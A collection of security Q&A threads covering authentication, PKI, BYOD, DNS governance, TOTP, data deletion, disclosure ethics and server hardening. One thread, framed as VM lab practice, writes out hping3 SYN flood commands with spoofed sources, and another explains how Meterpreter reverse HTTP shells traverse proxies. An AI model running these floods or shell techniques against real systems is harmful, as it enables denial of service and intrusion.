So the question is - how much do you trust the code you're running at a high privilege level? For that, you'd probably have to consider source of driver, whether it's signed by the issuer, can you inspect the source code etc.

Of course, just because you can inspect source code, doesn't mean you'll spot a problem. See also: Shellshock, Heartbleed.

There's a risk to running any code on your system, but usually a reputable vendor has positive incentive to ensure there aren't any particularly egregious vulnerabilities.

You may, however, find that there's also incentive to pretend weakpoints don't exist, or otherwise be lazy about releasing updates.


What are the security risks associated with generating a security string as a string rather than an image? At work we use an authentication system called Swivel Secure without implementation specifically when connecting to our customers devices such as: routers, switches, firewalls, etc we must provide a OTC (for 2FA of course)

For example if I connect to a switch I must provide: username, password & a OTC in order to get a OTC we must visit a link which generates an image (See below example)

A link typically looks the following way - https://PinSecurity.StackExchange.com:8443//proxy/SCImage?username=JoshJones

If you're unfamiliar with a turing image, essentially each user has a pin (which can be changed) the top numbers correspond to the numbers that can be used in a users pin & the bottom numbers are the required numbers for successful authentication.

For example: if my pin is 1234 using the image above my OTC for successful authentication would be 3087.

In Swivel there is an option which allows you to configure getting that SCImage as just a string by replacing SCIMage with SCText, I asked a developer at Swivel about this and he said: "it is disabled by default as it's inherently insecure" I found this statement to be very vague and unfortunately he didn't ever respond to my request for expansion.

How exactly is it more unsecure to generate the security string as text? I realise that it's more readable in-terms of getting it into the computer E.G you could just scrape the HTML to get the security string whereas with the image you would have to use some kind of OCR software / library to obtain the characters in the image which can be hard especially if the image is very scrambled.

So how is it less secure to generate this security string as text? It's not even like you could iterate over all combinations because there is a locking mechanism upon too many retries so you cannot get someones pin without essentially guessing it, etc

If someone could clear this up for me that'd be great. I expect I am missing something and just not thinking properly.

EDIT Following a discussion I had with DMB on the basis that one of his comments was a little unclear. We've come to the conclusion that the only REAL difference here is the time that would be spent by an attacker.

His point was that it takes them a lot less time to get the paragraph tag from the HTML than it does to use OCR software to get the required digits from the image, which I agree with (Hence why I mentioned this in my post)

IF somebody else has something else to add then please do so, otherwise I am going to write an answer and mark it as answered. I would be interested to know what OTHER risks there would be when getting the security string as TEXT rather than as an IMAGE, thanks.

The other security risk is that this is not really 2FA.

In 2FA, the user's OTC would be quasi-randomly generated in a way that requires the use of a separate device, like a token, as proof of something they have. In the case of SMS OTP, it uses a separate channel (cellular) to connect to a separate device.

In here, the code is instead the user's PIN that's hand-encrypted with a substitution cipher. That's still something the user knows, so this is 1FA done twice.

Some of the risks such 1FA*2 opens compared to 2FA include:

A compromised PC will log the image (cipher key) and the 'OTC', which trivially decipher to the PIN, providing full credentials.
The same can be done with MITM, but it needs to intercept both the login and the OTC websites.
Since manual encryption takes effort and produces mistakes, users are very likely to pick PINs that simplify the task. That's an ascending sequence of digits near the beginning ('1234') or the end ('7890'), shifted by 1-2 digits ('3456') by the more security-conscious.

Whether it's a text string or a Turing image, intercepted traffic compromises the system. The need for OCR is just a hassle for the most unsophisticated attackers. Since security is always a compromise vs usability, it can be best to drop the PIN and just send the user their OTC. That's less for the user to remember and less visible security, so a bit more chance they'll pick a stronger password.


how do optional device certificates work? i am trying to achieve this:

i have a bunch of users who log in to my website. some of the user can opt to be allowed to log in using their selected devices.
for this i am planning to use ssl based client certificates which users can install in their browser.

How do i then check for the presence of the valid certificate?
i cannot just use it at the web server(apache ,nginx) level as only few users are to be bound to devices.

How does this flow works at implementation level? i have a reference point here

for testing purpose i have a PKI setup up with a root CA and an intermediate CA that is used to create sign the device certs.

The basic work flow is that you don't make client certificates mandatory but optional, i.e. ssl_verify_client optional instead of ssl_verify_client on in nginx. Then the server will ask the client to provide a certificate. If the clients sends none the server will not fail. If a certificate was send by the client the content of the certificate can be checked from your web application.

How exactly the configuration of the server and the integration with the web application is done depends on the specific environment and framework you use (i.e. nginx vs Apache vs IIS vs ..., PHP vs ASP vs Django ...) and the necessary details should be available in the related documentation. Any questions regarding specific configuration and access from your program would be more a question for stackoverflow.com.


What are the problems with bring-your-own-device related to smartphones? What are the problems with bring-your-own-device related to smartphones?

Companies see this more and more everyday, people want to use their personal devices on the corporate network or even use them to work. Because these are personal devices, an administrator cannot force restrictions as easily as with a company-owned device.

What are the risks of BYOD? What  measures can we take to ensure security if we get into this situation?

This is a really broad question that does not have a single answer.  Some categories of challenges and risks include:

Reduced control.  The corporation has to take whatever devices the employees select, and loses control over them.  The corporation may also have reduced leverage to control the software on those devices.
Dependence.  The corporation becomes dependent upon the security and availability of its employee's devices.  It becomes harder for the corporation to manage those devices.
Heterogeneity.  The corporation can no longer standardize on a single device, and instead has to be prepared to support a broad range of devices.  For instance, if the corporation makes internal services available via a web service, it can't just target IE: it has ensure the site will work with all of its employees devices.

Some potential protections that can be considered include:

Server-side security.  Architect services so they are less reliant upon the security of the user's device.  For instance, store data on a server (or in the cloud) instead of on the end-user device.
Work with employees.  Enable your employees to protect data on their own devices.  Provide them with resources and motivation to do so.  Educate them about the need and help reduce the barriers to security.
Web-based services.  Make internal services available via the web and HTML5, rather than as native applications.  (Admittedly, already a common practice.)  The web is the least-common-denominator today.
Specific technology.  There are some products and specific technologies being developed to deal with this challenge.  For instance, one is full-disk encryption or software encryption on the end-user device.  Another is use of virtual machines or other mechanisms to provide strong separation between work and personal usage of a device, so that personal use cannot compromise the security of work data -- and contrawise, so that the employee's personal activities stay private (as they are none of his boss's business).  There are also products to facilitate remote wipe and remote disable, if an employee's device is lost.  However, employers who demand remote-wipe abilities should go out of their way to make it easy for employees to back up their devices -- otherwise, a remote wipe can represent a major loss for an employee.
Establish boundaries.  Companies can help establish clear boundaries.  The widespread growth in always-connected devices (smartphones, etc.) have transformed the way people work, to the point where many people effectively feel "on call" in jobs where a decade ago this would not have been the case.  You see many people checking work email outside of business hours and feeling the resulting pressure.  This may feel more efficient, but there are some reasons to believe that in the long run it impairs employee effectiveness -- so companies can help by establish a healthy culture that encourages their companies to set boundaries and have a personal life outside of work.
Embrace the trend.  Look on the positive side; BYOD is spreading because it brings major benefits, such as reduced technology costs for companies, improved employee productivity, increased employee morale, and increased flexibility for flexible work hours.  So, don't caught up too much in the risks -- the risks must be managed, certainly, but the primary job of security folks should be to say "yes", not to say "no".  IT security departments can think of this as a prime opportunity to gain a reputation as an enabler, not a barrier to progress.


Can ICANN deny Internet service to people? I had an argument with a co-worker yesterday about the recent transfer of the administration of ICANN.

My co-worker said that, since ICANN has control over the assignment of (a) IP addresses and (b) HTTP domain names, that means ICANN can effectively (a)  deny Internet service to ISPs by not giving them any IP addresses to use, and (b)  deny [convenient] access to certain websites by not giving them a domain to use. Hence, the news headlines like "The U.S. has given up control of the Internet" are accurate, and we might expect in the future ICANN denying Internet service to copyright infringers, political dissidents, or warring nations.

I was under the impression that (a) ICANN selectively refusing to assign IP addresses would not result in ISPs unable to provide Internet service, since those ISPs could just pick random IP addresses to give out [however, that would be immensely annoying to deal with, since the uniqueness of IP addresses is relied upon for many services and programs as of right now]; and (b) people could work around not being granted domain names to use by distributing the IP address for their websites [although again, that would be immensely annoying to deal with]. Hence, people rely on ICANN because it makes the Internet more convenient, but it would be a wild exaggeration to say they "control the Internet", and it's really in nobody's interests at all to attempt to censor anybody through ICANN.

Who is right?

ICANN only has authority to assign blocks of IP addresses to regional nics -- e.g. ARIN, APNIC, RIPE.  From there, the regional NIC (in the U.S. ARIN) then decides how to allocate the IP address to various entities like ISPs and corporations.  So, ICANN is at a much higher level than individual IP address assignment and it's very unlikely they'd ever become involved in this level of detail -- this is for regional NICs to handle.

As far as domain names go, ICANN has the authority to accredit registrars, but does not actually supervise them on the level of granting/revoking domain names.  Sure, if a registrar went against their policies they could theoretically revoke that accreditation -- but that would be unlikely since it would probably cause issues for all the other domains registered through that registrar.

I think you and your co-worker might misunderstand about "control of the internet" -- that's largely due to US control of the root DNS servers of the internet.  Previously, Jon Postel (the closest thing to a saint in internet history); an inventor of DNS, tried to move control of DNS from a US corporation to IANA (now part of ICANN) -- but was met with swift rebuke and clawback from the Clinton administration. Reference: https://en.wikipedia.org/wiki/Jon_Postel

As it turns out, control of the root DNS servers has been interpreted by the press as "control of the internet," but other nations such as China and Russia laready have contingency plans to migrate to their own DNS system if relations degrade with the US.


Do command substitution and piping prevent prying eyes from seeing hashed password being passed from process A to B? This is loosely related to one of my recent answers. I've listed 4 methods of adding a new user via mkpasswd and useradd combination on Ubuntu 16.04.

Command substitution:

sudo -p ">" useradd -m -s /bin/bash -p $(mkpasswd --hash=SHA-512 "123" ) newusr

Single quoting:

sudo -p ">" useradd -m -s /bin/sh -p 'GVhvDY$vhw89D2X0bd2REQWE' newusr2

Passing via pipe to xargs:

mkpasswd -m sha-512 'password1' | sudo -p '>' xargs -I % useradd -p % newuser1

Appending backslashes to each $

useradd -m -s /bin/bash -p \$6\$5AfGzrQ9u\$r6Q7Vt6h8f2rr4TuW4ZA22m6/eoQh9ciwUuMDtVBX31tR3Tb0o9EB1eBdZ2L9mvT.pX3dIEfxipMoQ0LtTR3V1 newuser

In case of method 4 and 2, it's clear that hashed password appears in the process list; this is not entirely secure. However, I'm curious about methods 3 and 1. Do command substitution and piping prevent a malicious user from somehow obtaining the hashed password ? Can malicious user somehow read stdout or stdin of either command ?

While the approach may have some advantages, there are several ways the password still may be intercepted.

The bash history will show the password in plaintext, the makepasswd command may be compromised, the shell may be compromised and so on. There is little reason to do this honestly. Generally, what an attacker can do depends a lot on his privileges, but I would not consider either of these approaches more/less secure. As far as I can tell, 1 and 3 are about the same in terms of security. A pipe may seem  better, as it bypasses shell, but shell already has the plain-text password, so there is really no reason to worry about that. Still, I would probably go with the pipe.

PS: Both of these may still show plain-text password in the process list while makepasswd is running.


If I add two accounts to the same 2FA app, are those accounts linked from a privacy point of view? An important technique in maintaining online privacy is to keep separate accounts unlinked. A person may have one email address for everyday use and a second one for something more sensitive.

If this person uses the same 2FA app (such as Auth, Google Authenticator, or FreeOTP), are these accounts now linked?

Does the answer depend on the app provider? For example, Authy provides backups, so they must be sending something important to their servers.

On TOTP-based 2FA (Time Based One Time Password), you have the seed, and the timestamp. At every interval (generally 30 seconds), the 2FA program concatenates the key and the timestamp, hashes it, cuts to a predefined size, and gives you the result.

To log in using TOTP, you will send this result to the server, and the server will do the same: concatenate the seed from your user (he has it stored) with the timestamp, hash, cut, and compare the result with the value you send. If it matches, good, access allowed.

You don't link 2FA accounts in any way. If you use Google Auth for a couple accounts, all you have done is to store the seed and the provider name (that you can edit freely) on a convenient application. You could even save the key to a text file and do the calculations by hand.

The problem is not linking the accounts, but leaking the database. Authy asks (requires?) a password for creating a backup database, so the copy you sent to their servers is an encrypted binary blob, and I don't think Authy stores the database password.

In case someone gets your phone (law enforcement, spouse, colleague) and opens the 2FA application, it can see all account labels and infer what kind of services you use. Using non descriptive labels (like calling GMail or Funny Cats the 2FA token for a sensitive service) can help keeping this list more private.


How can a SAML Relying Party redirect to one of two IDPs? We need to support the following Authentication flows

User 1 logs into Salesforce using Salesforce Credentials
User 2 logs into Salesforce using Arcot +Ping + Siteminder credentials
User 2 logs into Custom App using Arcot + Ping + Siteminder credentials

Since all the authentication methods above are SAML, I need to find a way to address home realm discovery that is a unusual "mesh" of authentication flows.

Question

How should I set up the IDP and RPs to handle this scenario?

How would home realm discovery work?

The first two SF login scenarios, one of User1 and first one of User2 is possible simultaneously which is straight forward.

Before I go further about the last two logins, I am presuming the Custom App you've mentioned is also on Salesfore. From your question, you're already on closer side for a solution as for both logins you are using same IDP. This makes your case easy. If you had two different IDPs that wouldn't be possible as SF doesn't support multiple IDPs.

To login to two different parts(SF defines them as Portals) of Salesforce, we need to define properties for each App. That is define org id and profile id for each portal. You've to switch between these two property files and generate a SAML response, depending on source of your call. You will be logged onto SF or your Custom app based on this portal id.


How to store a group password for multi-user server-client web-application? In a web application, accessed by browser via https, users need to be able to access data stored on a server in a MySQL database.

Data has to be encrypted for several groups of users, where one group can only decrypt their own data.

Members of such a group would be one group admin, able to see all of the groups data, and normal members, restricted to viewing only their user-specific data.

Data is accessed via web-service, requiring a session token for the user, generated by the server upon login and stored in a cookie on the client and in a database on the server.
The webservice will only send the data the user is allowed to receive.

For the data decription on the server the groups certificate (stored on the server) is required, secured with a group password.

My question is, how would I best store and handle the group password so the user doesn't need to provide it every login?

Updated

There are many variation on how you could implement what you have requested, they all have pros and cons so it really depends on your business requirements as to which is the best.

Keychain: Prompt for group password and cache

The least complicated way would be to ask the each user for the password and then cache the group password privately for each user (keychain), so as that they will only be required to enter the password once the first time and once after each time it changes.

The key thing here is making sure that the group password can't easily be exposed in the database.

One example of how this could be done would be to:

Create a keychain for each individual and encrypt it with a common key.
Encrypt the common key with the user's password, or whatever is being used to authenticate the user.

A keychain could be as simple as a row in a database, one for each user mapping to a group data store.

You don't need to do the second step but this prevents having to decrypt/re-encrypt each group password when the user's password changes, you only need to decrypt/re-encrypt the common key.

Pros:

Fairly easy to implement.
Can be done natively in the database with newer version of MySQL.

Cons:

You need to distribute the group password securely to each user once + each time the group password changes.
If the user forget his/her password and it is administrative reset, the common key/group passwords would need to be re-entered as they can't be decrypted, which mean redistribution or writing them down, etc.. - a recovery key would mitigate this.
Group password can be easily shared by individuals that have access with individuals that shouldn't have access. Access control would mitigate the risk of this.

Keychain: Using asymmetric key distribution

This is a variation on the first method. In this method you rely on the strengths of asymmetric/public key encryption such as RSA for distribution and protection of the group password. The key advantage to this method is that you can eliminate the user having to enter the group password.

Each individual has an asymmetric encryption key.
The group admin sets who has access to the group data by encrypting the group password with an individual's public key.

One example of how is could be could be done is:

By storing a public key in the database with user information.
When a person needs access to the group data store the group admin adds group password to the individual's keychain. In practical terms this could mean, getting the group password, encrypting it with the individual's public key then adding a row in the database mapping user to data store with the encrypted group password.
The individual with access might now get an invitation message letting them know that admin has added them to the data store.
Encrypt the private key with the user's password, or whatever is being used to authenticate the user.

Pros:

Reduce risk of group password being exposed.
User's does have to enter the group password.
Group admin has more control on who gets the group password, because the group password is not directly shared with the individual, only within the application.

Cons:

If the user forget his/her password and it is administrative reset, the private key can't be decrypted and would need to be regenerated. This would require each group admin to re-add the individual - a recovery key would mitigate this.

Use access control in the application

Store the group password in the application/database, using a master encryption/decryption key that the application uses to decrypt the group passwords.

Pros:

Commonly used.
Most frameworks/databases will natively support this.

Cons:

Relies on access control to restrict access. But that is expected.
Relies on secure storage of the master key.
Application admins may be able to gain access to the data because they have access to change access control or access to the master key. Generally not an issue.

Use a smart card

If individuals can use a smart card (which might not be possible) you can store the group password or the common/private keys mentioned in the first to options. Then use a pin to unlock it. Windows 8.x supports virtual smart cards on a Trusted Platform Module (TPM) chip which might also be an option if each person are all part of the same enterprise.

Store in escrow

The last option is to store the group password, common or private key in an source outside the application, that uses access control but can be integrated into the application.

This could take many forms including:

A restricted attribute, deployed certification of a directory service such as Active Directory Domain Services
A claim from a federation services such as Active Directory Federation Services
Other custom application/identity service

Other notes

Newer version of MySQL natively support AES_DECRYPT/AES_ENCRYPT methods which can offload some of the encryption from the application.

I mentioned recovery key a few times, which would be an asymmetric key that the application or an admin uses to recover the common or private key used by an individual. In practical terms when the common or private key is stored for an individual it is encrypted by the individual's password and stored, a second copy of is also encrypted a with the recovery key.

In the event of a password reset of the individual the recovery key can be used to decrypt the recovery copy of the common/private key and then re-encrypt it with the user's new password.

I hope that answers your question.


Can opening an email be tracked with a wav file? I work for a large company and they are currently running a phishing training program. I received one of these "safe" phishing emails and found something I don't really understand.

There are several png files and one wav file that are hidden at the bottom, all of which reference what looks to be a unique web site. I know that loading the png image can be used for tracking but by default (I use Outlook 2016) images are blocked and therefore wouldn't load unless I allowed them.

So my question is, can wav files be used for tracking when an email is opened and get around the default picture blocking behaviour?

It was once possible to embed audio into emails (including auto-play). Here's a 2012 article describing how it was done. This does not currently work in Gmail or Outlook 2016, but it may still work in other email clients.

So if the recipient is using an email client that supports this, then yes it would be possible to track email opens this way, in exactly the same manner that it's done with images.


Identify if files are being transferred from my computer over the internet This may seem like a silly question to most, but...

I recently has some spyware infected on my machine, which I have since gotten rid of.
Using a couple of scanners (that come recommended on various sites such as c|net etc) do not show any more signs of viruses etc. Yay!

Being as paranoid as I am, I'm wanting to check (or get confirmation) that nothing is being taken from my Laptop over my internet connection.

I regularly monitor DL and UL speeds which remain low, but I'm not sure whether or not that's confirmation.

Is there anything I can do or install that will let me see what's being transferred (if any) over my internet connection?

I hope I've made sense. It's my first time here so sorry for any naivety.

Broadly speaking, you could install a local transparent proxy to gain more insight into network activity. This can be done with free software, like Squid, and there are commercial products that do similar things.

You could also use a DNS provider that does logging and filtering, like OpenDNS. This will let you see what connections your computer is making.

Both the proxy and DNS methods above will not catch all malicious network activity, and are quite complex and time consuming to setup.

If your goal is to guarantee that your computer is infection free, then you should backup your files and rebuild from know good media. That means to format the hard drive(s), and reinstall the operating system from a recovery CD (or similar).

It will be faster, safer, and more reliable to rebuild than to try and "keep watch" on a maybe-infected machine.


Disclosure in potential loss-of-life situations, with an uncooperative vendor I recently discovered a publicly accessible web interface to a highly sensitive bit of lab equipment, the malfunction of which would result in potential loss of life or serious health concerns to a large number of people. Thankfully, the IT team at the lab in question were very receptive, and quickly found a way to disable the remote interface.

However, this got me thinking - what if they hadn't been so receptive, and had ignored me? What if they'd simply decided not to fix the issue? Obviously I wouldn't want to jump straight to full disclosure, since that would almost certainly result in disaster.  But on the other hand, the public has a right to know about the potential danger they were/are in, and ensuring that a fix is put in place is critical.

What's the best way to handle security issues where a potential loss of life is involved, but the vendor is uncooperative?

Okay you have two problems here:

if things go bad, they will result in the loss of life
if you make this public you are a whistleblower (this might have an effect on your career)

Disclosing to the public can be dangerous and should only be used as a last resort. Some other options you might want to think of first:

go to the N+1 if the vendor is part of a larger entity you can try to send a very clear message that one of their smaller entities is threatening the image of the whole company (because this is what companies fear, but never do this: FIX IT OR I'LL DISCLOSE IT, not directly anyway, because that's blackmail)
go to a governmental institution, here in Belgium we have CERT, which is the Cyber Emergency Response Team. You can report to them anonymously and they will try to contact the entity. If that fails they are also still in contact with the Federal Computer Crime Unit.

If this all fails disclose it maybe even anonymously (tell the company anonymously that the problem will be disclosed on date X, they will be forced to fix it by then, you will release it regardless if they fixed the issue or not). It's a death sentence for the vendor, but I personally prefer a few guys losing some money over a few people losing their lives because someone was being ignorant.

Anyway, this is my personal opinion.


How does an organization completely delete records? As given here: Permanently delete a record it is not fully possible to remove data completely.
Then what do financial institutions do? Institutions that store authenticating delicate details? Even if those are encrypted and key deleted hard drive recovery services may recover the key. Also key may be stored in cache.

They will follow legal frameworks such as the GDPR or others relevant to their jurisdiction that dictate the organization's requirements for holding and securing data. To demonstrate my point you can see that even in the GDPR's Right to Erasure Request Form there is a clause stating that some data may have to be retained to comply with the Law, and the sensitive data mentioned in your question is the sort of thing these institutions would have to securely retain for a given time (e.g. a payment processor holding onto records of a payment in the event of a legal dispute).
Purging a given record from the entire organization immediately would be an overall cost ineffective task, as the data should be backed up in separate locations and to edit existant SQL backups would make it very easy for internal operators to deliberately or accidentally corrupt the files. In addition, reporting such incidents would be hairy as you have made a process where people are tampering (on schedule) with or deleting your backups!
Even removing 'ghost' records from a RDBMS can be difficult, as for instance MS SQL Server includes the command sp_clean_db_free_space which removes deleted records that are no longer referenced but still present in the relation, but Microsoft recommends to only run this during off-peak times (which a Bank or Payment Processor may not have a guarantee of). As a counterpoint, MySQL has a worklog detailing potential options for doing what you ask (within a given DB on the DBS) but I do not think any of these have been implemented as of yet.
Returning to my GDPR example, you can see that in their Checklist immediate purging of information is not even mentioned. I would say that the system your envisioning of immediate and permanent data erasure is not something most companies can afford to do as part of the day-to-day MO.


Hping and spoofed DDoS (or DoS?) what do -U and -P mean? Recently I set up 2 virtual machines with Mint 18 inside, to practice and analyze some DDoS attack types. For now on, I'm using hping3 to perform some simple DDoS (or I should say, DoS attacks, since there's only one VM against another).

I read a lot about hping3 and know how to make a regular syn flood:

sudo hping3 -S --flood x.x.x.x (I don't need the --tcp option, because I read it's a default setting).

To make a spoofed syn flood, I simply need some random, fake IP source addresses. So far, so easy: sudo hping3 -S --flood --rand-source x.x.x.x.

However, I read somewhere online, that to make a spoofed syn flood, I need some extra parameters: -P -U. I did hping3 -h and saw:

-P  --push       set PUSH flag
-U  --urg        set URG flag

So it seems a 'real' spoofed syn flood should look like this: sudo hping3 -S -P -U --flood --rand-source x.x.x.x

But I don't really understand:

Why do I need these flags?
What's more important, what's their purpose?
Why do I not need them in 'standard' flood?

Thank you.

No as far as syn flooding is considered you don't need those flags .. these flags are pointless when there is no tcp payload

Syn in all standard implementation of TCP/IP stack are packet with empty payload


Proxy aware or DNS capable meterpreter? I'm having issues traversing a proxy protected network and was wondering if there are meterpreter implementations which allow proxy awareness (automatically using windows AD credentials) or which can use DNS tunneling?

Meterpreter bind or reverse http and https support web proxies transparently. The reason is that both uses the WinInet API for accessing the Internet and the API takes care of the proxy authentication. By default meterpreter http(s) support only NTLM authentication for the proxy. If you are dealing with a proxy that is using basic authentication, you can use Meterpreter with basic authentication suppport. It hasn't been merged in the main msf tree but you can add it to the modules tree manually.


How can I tell if a user is access website with a forged IP? there is a username (USERX). It's a suspended user. It it appearing in my user login files. It always appears in the middle of someone elses attempt (USERA) to reset their password, and WITH USERA's IP.

There is no code anywhere with the phrase of USERX's user name. USERA always reports they didn't see anything on their screen having to do with USERX.

So is this USERX some hacker spoofing their IP? If so would they know the ip address to Spoof? Are they listening in somewhere? OR is there some other explanation for this odd user name showing up? How do i test for this kinda things?

My log files will look like this: (filtering just this IP)

03/29/2015 01:21 PM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 11:48 AM USERA               USERA_IP_ADDRESS    login process started   /login.php
03/29/2015 11:48 AM USERA               USERA_IP_ADDRESS    failure     /login.php
03/29/2015 11:48 AM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 11:48 AM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 11:49 AM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 11:49 AM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 11:49 AM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 01:19 PM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 01:20 PM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 01:21 PM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 01:22 PM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 01:22 PM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 04:33 PM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 04:33 PM user log opening    USERA_IP_ADDRESS                /getpassword.php
03/29/2015 04:34 PM user log opening    USERA_IP_ADDRESS                /login.php
03/29/2015 04:34 PM USERA           USERA_IP_ADDRESS    login process started   /login.php
03/29/2015 04:34 PM USERA           USERA_IP_ADDRESS    success         /login.php
03/29/2015 01:22 PM USERX           USERA_IP_ADDRESS    success-suspended   /getpassword.php

First of all, you can't spoof your IP on a TCP connection. Spoofed IPs are broadcast-only.

As for being able to tell if a user is relaying or proxying his traffic off another computer, some tell-tale signs might include:

Same cookie despite different address
Same browser fingerprint
Known proxy/relay IP address
Many users from a single IP address
Suspiciously-consistent timing

Though often it doesn't matter. If it's a single attacker or multiple attackers exhibiting the same behavior, is there a difference? If a single attacker logs in from multiple computers in multiple locations, is that functionally different from relaying his traffic through proxies?

Consider all suspicious activity by its own merits. If it looks like someone is doing something they shouldn't be, then your best bet is to take action to protect against that behavior, not protect against that person. If a system is under attack, then secure the system; alter it so that the attacker can't succeed.


Oligomorphism vs polymorphism vs metamorphism in malware What is the difference between these three? As I understand it, polymorphic malware code actually is always the same, and it's just that it appears to be different (through encryption, data appending/pre-pending), while in metamorphic malware code the code itself gets different each time it propagates (through adding useless instructions, function reordering, loops etc.)? Am I right about these two?

And how about oligomorphic code? It is like a simpler version of polymorphic code but I don't exactly get it in which way it is simpler, so could someone please explain it a bit more?

Polymorphic code: The (same) code takes many forms (like encryptions)
Oligomorphic code: The (same) code takes one of a few predefined forms (and thus can be possibly matched against signatures that can cover all cases)
Metamorphic code: The code mutates, so the code itself is different in each execution (but the functionality the same)


Temporarily suspending a Certificate Authority's Certiticate The PKI RFC talks about revoking or suspending certificates. It also talks about revoking CA certs. However, I could not find anything about whether a CA or a Sub CA's certificates can be revoked or not in the RFC.

What is common practice. If a CA feels that a subCA is compromised, they may want to suspend the certificate till the time, they confirm that this is true.

Do any of the Commercial Certificate issuing Software allow this?

This may see like a cop-out answer but it is not if you stay with me.  PKI is just as much about the paperwork (policies and procedures) than it is about technical constraints.  So if you have defined in your Certificate Practice Statement that your organization can and will suspend CA certificates as part of normal operations, then yes I do believe that the major CA software packages do maintain facilities for doing just that.

I would question if this is something that you would really want to do.  If I saw that in your CPS, I would be slightly less likely to want to bridge with you, depending on the situation.  If you think that a CA has been compromised, it is hard to make an argument against revocation and reissue.  Especially if you have a 3-tier architecture and have isolated CAs by policy types in tier 2.


Secure dev server with remote staff What are the best practices to secure a development server where the staff is remote?

On that server, it will run apache2 webserver and mysql.

Server O/S is Debian 9.

My idea is that:

Only SSH connections with SSH keys will be allowed.
Every employee will have permissions only in its home directory.
Employees will have permissions to run only some allowed sudo
commands.

Am I missing something?

Additional important steps:

Firewall everything. Only expose SSH port, HTTP and HTTPS (+ any other application specific ports)
Make sure MySQL is binding to localhost only, run the secure set up (be careful with PW length it only supports 32 chars)
Install and configure Fail2Ban to dynamically block any suspicious requests
Remove/disable any unused Apache modules
Make sure your least privilege access controls are set up properly, e.g individual keys, easy way to revoke access, full logging of all commands and terminal history
If possible implement IP whitelisting for SSH access

Desired steps:

Use a CI solution for the actual code deploys, this adds a layer of governance and control to the source code appearing on the server
Lock down the public facing side with IP whitelisting/basic auth, no sense it getting crawled and bombarded when it is in development
Make sure your Apache and MySQL logs are set up properly with the correct log level and permissions (Apache logs are owned by root so be careful if making any changes here)
Move ssh off port 22. No doubt someone will moan about this, yes it is security through obscurity but coupled with Fail2Ban the advantage here is less bot traffic on port 22.

You have not mentioned any of the services or languages used, if you are using PHP etc their is a whole host of other measures to take as well.


What torrent software should I be aware of as a security professional? I am new to the torrent world and want to experiment / learn with the lowest risk possible.

What do I need to know about torrent software, and related software and network configuration in order to send receive data in a secure or even anonymous manner?

I'm a PC/Mac user and am just getting started.

First of all, there's nothing inherently dangerous or illegal (except perhaps in unusual jurisdictions) about using BitTorrent. There are plenty of free clients out there all that are well-respected and trustworthy.

BitTorrent is frequently used to distribute large open-source projects, such as ISO files for Linux distributions. It's also used by companies like Blizzard to distribute software updates.

BitTorrent cannot be used in a strictly anonymous manner any more than any other Internet protocol can. That is, your IP address is always available to anyone communicating with you. You can, of course, gain some amount of anonymity by co-opting someone else's IP address, as you would with TOR or by connecting from a public cafe. But that's slightly different from being truly anonymous.

BitTorrent was not designed for transferring data securely. Data is check-summed against hashes, which  offers some security against tampering, but the files are inherently public.


Can TLS be a secure alternative to VPN? I am developing an application that will be run by untrusted users in high performance computing centers. My users will not have root access, therefore VPN is not an option.

I need some way to safely access a remote database (postgresql). I am aware that ssh can act as a tunnel however since I have untrusted users I do not think that using ssh is the correct option. This leads me with my last option of wanting to use TLS with client, server certificates signed by my own CA.

Assuming proper configuration, is TLS itself a secure option for restricting access to a database (postgresql)? Would it now be safe to expose the database to the internet? I figure that TLS would hide what service is at the port and only users with the proper client certificate will be able to connect.

Yes, it's a perfectly reasonable option. It's what AWS RDS, Heroku Postgres, etc does.

Like any software PostgreSQL could have pre-authentication remote exploits. You should keep up to date on patches and have a plan to upgrade to new versions. Run on a non-default port and if possible limit the IP address ranges allowed.

But in the end it's not too different to exposing something else, like an apache server.

However:

PostgreSQL is session-based. It expects clients to stick around and doesn't like it if they vanish without warning or stop responding midway through doing work. It won't crash or fail, but it'll do unnecessary work and the vanished connection may tie up resources for a while.
Unless you're quite careful the PostgreSQL protocol does lots of round trips. You can mitigate this with PgJDBC's or nPgSQL's batch modes, and I submitted a patch to libpq to add a batch mode to it too. But this latency will hurt performance.
PostgreSQL does more work pre-auth than some systems, and pre-auth connections count against the limit on max number of connections. So it's somewhat susceptible to DoS.

The first two issues also apply if you're using a VPN, they're not unique to TLS-based use.

For these reasons it may be worth running an application server close to the PostgreSQL database and bundling up application data requests into structured forms with json/protobuf/whatever requests and responses. This is most useful when clients are widely scattered and may come and go at random.

If you're not going to do that, set short timeouts on everything in Pg, be prepared to cope with retries, try to use batching and try to bundle work into bigger queries rather than lots of small ones.


Using Cain and Abel to capture traffic of machine in the same network I have installed Cain and Able in machine A, which is connected to another machine B via a LAN. Now I want to analyze all the traffic of machine B. Is this possible by installing Cain and Abel on machine A?

EDIT

After trying a bit more - Cain and Abel is able to sniff packets of the machine B. But the problem is how do I view the packets. It only shows the number of packets captured/sniffed, but doesn't actually let me see those packets.

You can't: Cain and Abel is not a general purpose packet sniffer. Abel captures the packets, and then Cain performs analysis to try and find passwords; you look at the results of the analysis, not the raw packet capture.

If you want to view packets, you should use a more general product such as Wireshark.


What is a practical example of an action that violates the non-interference model? I'm studying the non-interference model as part of CISSP prep and am having trouble thinking of a practical example where a violation would be involved (and the consequences of those violations).

I understand the mechanics of it -- the idea is to establish and maintain dividers between hierarchical levels to prevent actions in level from being noticed or having any effect in other levels. But when would this happen? Can someone provide an example?

I guess I'm having trouble understanding how information leaked to other levels can be used to derive the actions that are taking place in the originating level.

Just thinking outloud... maybe a violation of this would be an automated email notification sending alerts to recipients that shouldn't know about them anyway?

The non-interference model is all about preventing covert channels through shared resources or inference attacks.

An example can be the following:
Suppose that two users of different security levels are working on the same system (remotely, using shells for example).
The lower level user should not be know anything about the work done by the higher level user. But, he can infer things through observing shared resources as the cpu utilisation or the disk usage: the ability to do that creates a covert channel.
